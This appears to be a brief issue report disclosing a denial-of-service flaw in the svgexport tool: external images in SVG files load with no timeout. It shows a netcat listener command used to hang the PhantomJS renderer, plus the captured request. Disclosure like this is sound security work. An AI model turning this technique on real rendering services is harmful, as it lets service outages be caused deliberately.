Open razbe opened 6 years ago
Hello, it looks like there is no timeout for loading external image, this can lead to denial of service. `<?xml version="1.0" standalone="no"?>
Hello, it looks like there is no timeout for loading external image, this can lead to denial of service. `<?xml version="1.0" standalone="no"?>
` Use netcat for example: `razbe@alpha:$ nc -lnvp 1337 && svgexport example.svg test.png` `Listening on [0.0.0.0] (family 0, port 1337)` `Connection from [127.0.0.1] port 1337 [tcp/*] accepted (family 2, sport 45166)` `GET / HTTP/1.1` `User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1` `Accept: */*` `Connection: Keep-Alive` `Accept-Encoding: gzip, deflate` `Accept-Language: en-US,*` `Host: 127.0.0.1:1337` The CVE-2018-7646 was assigned.